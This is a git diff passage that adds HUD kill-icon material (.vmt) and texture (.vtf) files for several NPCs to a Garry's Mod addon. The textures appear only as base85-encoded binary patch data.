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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vmt new file mode 100644 index 0000000..262cacc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_antlion" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_antlion.vtf new file mode 100644 index 0000000000000000000000000000000000000000..b7b85f7c575d6ecf42f55fce6ef9a95a5151d96c GIT binary patch literal 5696 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 PR{sy~*L3~+spbC#9nQJM literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vmt new file mode 100644 index 0000000..b2a6077 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_barnacle" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_barnacle.vtf new file mode 100644 index 0000000000000000000000000000000000000000..5fca8f81d4131d668ba0c9bb75cc04e2c77eee9d GIT binary patch literal 5696 zcmdT|e@v5S9{jZkfwS5F$c2Wa7JBRA%a-+uYngcGkTHHyG;Nrkl!-dEj&37xI+lz2qj@ ziSebsKF{;z{XU=Xujl)`R?F{U9so%2y%yig@DCVBNWkC1_01F3=l=1@mArRb-Fed^ zI|~-#k9l(ZP$;O_^b~#y11w%TA0vC&Ffv?b1_&%$?W5!LJJ|`)rqv!w?Khgob? zoPG~G06dOjwk;dr>UoQWj??cJ1wb^ajQ*(zz-qPF==gK_(@QZaJhG0?&dyDb!(L$| zn8wH?Y;o~?Qu)=t_H8|RrUsyX4a@HMe6;dvZsoUvzHnHng!7p{z``FSt6m4NmAG8; zx3>Fu&XXQt0Qy-r`sD6I75uw$K9UAdVzF4K2;=>!e)8D7ZIGk@${+mX_98OYOzj|+ z7h?hm3gJcV15R=~Kz>}5`suWt#PVYN*x7qS{5zg>YQID$k?ucQ%u_px<;7U}EazFz zm8MhsYX5R1pFb++sh!30zl19q&sCArH;LMW{!->B2@$*j&|c$7V@nDQ6o&9|0=^_s&Cj4WZrQ9 z@eaj}<`(9b?bUC3u91mTfyv8)zx@6k<>LFz7B3k&T}4K#t~Ox2hB08NzSn#W%$?la z42nPgq|n5=ozin0#HrmrfXc0PHM7+xmXDEKuWq|n_k6XGFX0*e-WI(sGjluD zf8)5+=&k12{1*x)&J;}Y2ZM{j>9jk=_nR%2|8o@mUwSzM^F2q~zf#giNJr1&^=0Uf zlb@fDZn#OBTMy^+t4jf1u~;lCzb9{B+P?MFH81A%ODoyg>J!VC6TBH$!Dp-nSc!FM z$ur!hbgs14BLh(4_4j?KyhqM2LH(%SBL4sXH(p{C@@sQmP>2UCIN|oga{h>l_idRQ z{gOIv^D)eC&F`l2flV4asuK9$I)V1KSbw#>XKSwo+-Rkm+q|FVH;u=L9$=&^C57U_ zER&4A0YI@dn~|~P-un~}WeK=5lVX%tu-%fl{GgtZmDKpZw2lSteAsB(;lT*=UriZ&#-F&#cgJF z_NC*x8x#xjJFOiZ6c=KBv)63fpty2m4d1AW1#$nvee;3GyO^&S6Nz!}f{*r2H4;DP zFU5U7N2}G+^_Q83^sMc?i{dtOi+?^WHEoC z-$MFI%BR&lsJE|m+9}@clNzHZ^5gx(m0+Qn4O~A-=lfq&8(jl^xfCZk2lZ}yEVirX z;AE`3KDNsQ;I!Kxy8jC>|G)lOe?w{|%OF_+gINEB{fVwWg#PsV?E@5_sV+1c42F2U z+tPa_SpWSVIi25ppwx8X!azJ31-)9IYW9-~A40 z_PzmoJpRkQn(PJLGy6qKZK4sb&)^K7#`sL;Bun`x`_$QA`mYC)Pd60vy=!tN7btQA&?}_<~aW5=euCX;OomwBB|Hbpu{5|P2{IP#V6MTpMzn^@5*!`ZE zj~J&y!|VU+yz6jrrFedb^FMa7SH&M*bKm^M`W`jx@Z!T5Zet$xzoZX?AM5%3`u|bm zD_-wQJE!;`3t{~d@;~LH22~7Sh7faK@h`sLqlQDhoTrxClGl#U{e>n0NiX})c^nh literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vmt new file mode 100644 index 0000000..f55c314 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_combinegunship" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_combinegunship.vtf new file mode 100644 index 0000000000000000000000000000000000000000..16a5beabd54db5ab7d57fcf9a5d4a8985cc6fe5d GIT binary patch literal 5696 zcmeHKZERCj7=GIhd$;bRI2J)tX`ut=GACJNnL{bC;O@w@nw?!z>NZ+kh+8SK8cn7H zD}$`YtXm*x+`>$Vp&bj8&>Bs!{@4!}93;k@K>DK-H`a`>jb;rYwmrV*#wMo3G^qVy za!+&b>2u$6&VBB4o^$VeT3hyl8UU1dnDH>-5A>i=;D69+6(c%N{g*YL)O&B4>)9oM zV>?UmtS-V6#@Us>7IuMP`MY}B#p0imyFIL4*!h!Gw;#%E574>Jgk#O`0?>$r=waeY z0piSdnRrbZHo{`yOyD0I8`G)uT84LV0Ox(<<9!O=wzYrQ_~tgezdcSU@IyxaZEngU z@y>sR1|8v`?#7f&!d5NtUL!VP_dy!u3Gai0VQg}{4qzW*i4expJRTJnd2p~FonvWT zdha7%DxOK}Q*{sVN68IoowAMp-Jg6r*8!9vzcZA#t;ZqKI&w!s7YY$aZF(^O2mG_~ zk>kvL|J)zh^ef?meRIq*E?9o$nLxG5?)Os{5sNXqaym+wc}U$Vbsf8{R!D67Sf_fz&8Zp^X? z$$x!EBw51JSzemD>VFLtM$7PpoJ=x8dhS9t;ZKh~rNVW!~e z-xYk!xS;Cby7b7W&0X7z{4k&2!}5JXths(4Jkz$_#`XtnzfsQe>u7iJA>?Po{HYSL z%STJLVSFC*mx4GU-+W64@(_z22a zH!(fhlvfpO|KpDDl`wff*ZMr__zzT5gXj36$%fUqpAm^ze2GR9=9;yId+?z{agr>> zTIu~F|9JyU#FoU#2tF(wc%yOm+*%rWE-;glaANE3O%(zWG--W0Ew}WQAyK%V!u*ob zQqFFyh|(k}NDMEZq!Ajm*tG3#f9Ubc!7AK;-F%7ZBedq+KbiWx4E*2@oFe9@0Q#pG z8gagcn4O>%ac2AcCmW^xDY^$f#Q4{+ zS;XS@rAZ6AZKdR`jFhz{JQ+#Eg%y|Ka;*@{uu46cz;@ YI2{kom#mK@kF1aE4|#q358n@e08FV#-T(jq literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vmt new file mode 100644 index 0000000..2065985 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_cscanner" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_cscanner.vtf new file mode 100644 index 0000000000000000000000000000000000000000..012008248abc78575551f79ed56abd8d18422414 GIT binary patch literal 5696 zcmeHKeN0nV6u;#|9u-F2WGlhAzN84{L+BEWEpD_m;7aCV441Om^3f_Hj*sAG3{$G8 zG57^CbuQ5j#RY^hb&hAUIbliyljxjU$E-Tys;h3qGOU!@a(7mEl$&Airqom)szPXO zY8c3ZLg7aw;=4W4_!k)3)1I3%c=@ZCQNnYVqqQYNBXVkbN|$T+_qt4~hftbK1!J`= zM2Og(__iD&eWvcI<5E3Y?5I0xhDFUSEiEa5{v!U3kwM7+P;2Xqliapx_m^0`_UA9b zK|gTCR&KvLjrIC1`0x_ob)KFs1&_1Kl90Ams;!f^daa-IcR&|A$O{b^Bi=AH zYJa>~bQcC=!rr00930?^zfL_#C_f}FF;oKMQ=W|1p#RY|y_Byf>=ERrg8peTgu=n! z`YVKxl_hg2kJa{?HND4+t(4Cv^d}gPZ#*C$+SBskOB>AJ%95*%kk1$=r>z*~wh`qH zQn%H}V2>dY)gVXipN^noTUmsc8}wuG8IZBkHZpxl*tp-NXDJ#b4~_>rII7y`Uzpc+o85y#{Z*mT(f!s=C+uSEkD(DD-ssY~|px?H)HF z!AdnVvvo@>ne&G~zn+{hhG`Lg4ILU~6^7-nJ-kk%r>2SW~V4X|l zwO=JwkJ`%`Z@hk+U_NFQrsR9|!?9op9a%X1pw1=%|JNWtk&DZ3Sv)^3W6A*!8u459medD!`=TtH!%jmKz zMu=%o5)!CTquj{EdOWGLUTBn`7W++ZyGpTLk;caSR^g$zC?krUt^6v7;%>Q3Tsd;d zl6h;Lr`zmE_3}~Cw|3s6d}NNr#}=q>Y%qlg;HZwwbHu9 zR&@+uL@@D7WrMkW(gu)w08iZw!J3SbMws8!dNU@_4;`#M5yi4dc-Vta4e@N$xVz=~ zjIfD}zDZFfj*U%x7=I(goBeypaVl5Gq_gI7ql)6& ziUOIga#h)sb2~ggCAzc1W4A7gzX#a;3$QJbzml;Q%JTHJhU{!)rFUQtUdmb3j7 z-&O=f^z|9c!RO4LAhRQ=0O~!Xv8ZUG@jYvO#+6gzm{n-y{flaY`JV^*f*gW)Q-kQi z`UDG&C&XkEJMZgrDb{M#jPA_l&nYfo4~V|`vED`TQkhNMcjHbT^O4zoF>LjfPBB7x z+4?c>AJ00z@s76#DR%JpbAJCyhWr@x|Dbk*_G2l3K2%vSo<_8FwP#OE4TwOf{=kZ5 zM1_(B5ev`^HlIlpR=-b#Jb%KZbe3iMT)9|tcU=O1AK>#%ulw(x$CBYf+s1TL9DjbC u{j|;U0yq3gbcD(qU!G2va9#7wpf_#+!e>{`~s!)$jk;_460)Y}Nk& literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vmt new file mode 100644 index 0000000..e8a4e45 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vmt @@ -0,0 +1,9 @@ +"UnlitGeneric" +{ + "$basetexture" "HUD/killicons/npc_fastzombie" +// "$vertexcolor" 1 +// "$vertexalpha" 1 + "$translucent" 1 + "$nolod" 1 +// "$additive" 1 // hldm style! +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/materials/HUD/killicons/npc_fastzombie.vtf new file mode 100644 index 0000000000000000000000000000000000000000..26c9294f6f6e5c4a558c201ef1e344a93f2e3b46 GIT binary patch literal 5696 zcmc&&4OCQR8vf=-xF7?g>m(Z@mza?$orG#gqGWD|)Tu0?xid;I%nWjLp%Jo$OtS%8 zDz_h%oNUiRAV#@z2(_K7ZEMg_9IDMV&t3(l{3DP+loba>XXe}Y8=Uqmd5+6c?d9z72lsa-Q2b_zF!e&1TuaIS93BH5!EE$p{s* zSuFD)?1qPyG8BfVbhe;K1hP4jrUYKEcY5uje&g!+sl>V|pZsYARUu?T!c+Ath~2!* z6Ldj%irzFw#L&p9F&JfyNoS&~B^}*hmED@bM(%&%oc?|D=V_qN>|Rlfh#~LBpTcuIIb65SubWBh)Mv|Gg?TTuX?sN=S^S9XlX2XMOM z)E0@0i*^O@3ia!=#u3zrz7$8>;E8pft^j_cqU5c$r?-m(IL`X;fVcDDxwHVD=)Hcs zXg5NGZ;atO-kw`Amz$DgakW7_WHOcw!pBUmZB|zR@A2y=D$i)+%-2fH!7BkzR#sd* z>!0Wn=0pSWnIP}sWph5B?n#9>Qkyi9Y?IoN_;uIoIz7hKbc)Jrw`k%7}s=@c#3v-`JJPu z-6!^{TycQU<%e0rMD=M*oHdGDmD26!BQNW6kAgxRvnrp7Y_vVUE~eY&nThcT@PT^l z!X9?t$6VpHz4)w%0lv#_d8-6-64$=!t_r{d;9fRS{T`%!Qw(^f!FfDym*stC^Rza5 zy9mB(Gcqz~baS~Mab}lB3i^P++&36|Ub0;c&P3F_w>nPF8`!e3E46BNP$o@1nURxs zGyPN-_&ajmNAO}d$w?26=^*)_Zs;@2!DZ1dppbI`i66^`9p(mmK!2SQ)~i@n zh-0V6ak+6MUrrvk%Odd;!h4e}yDGr`DKa}h{Wv6FPJ)Tp$LgMC=YGdY+}>T@{&JdP z72mt>Jz;yk1J0Mc3iVV6b#RPc{$JqUP34sBNoy{btihXsA2OLkP3nOh>IbPmGT0x~ z|N7~U7p<;3kkivycH!eCYob6O1^GhW{|#x&$@*3r{P`dB$Gv*K@KZRC0lui=Jn`8b z)xjVyu^^<^-rW9)`ukI_zuQarZuxUsBKXg%>xV?zix|}|O-rPK4-{V7&q-F}8Z0O8 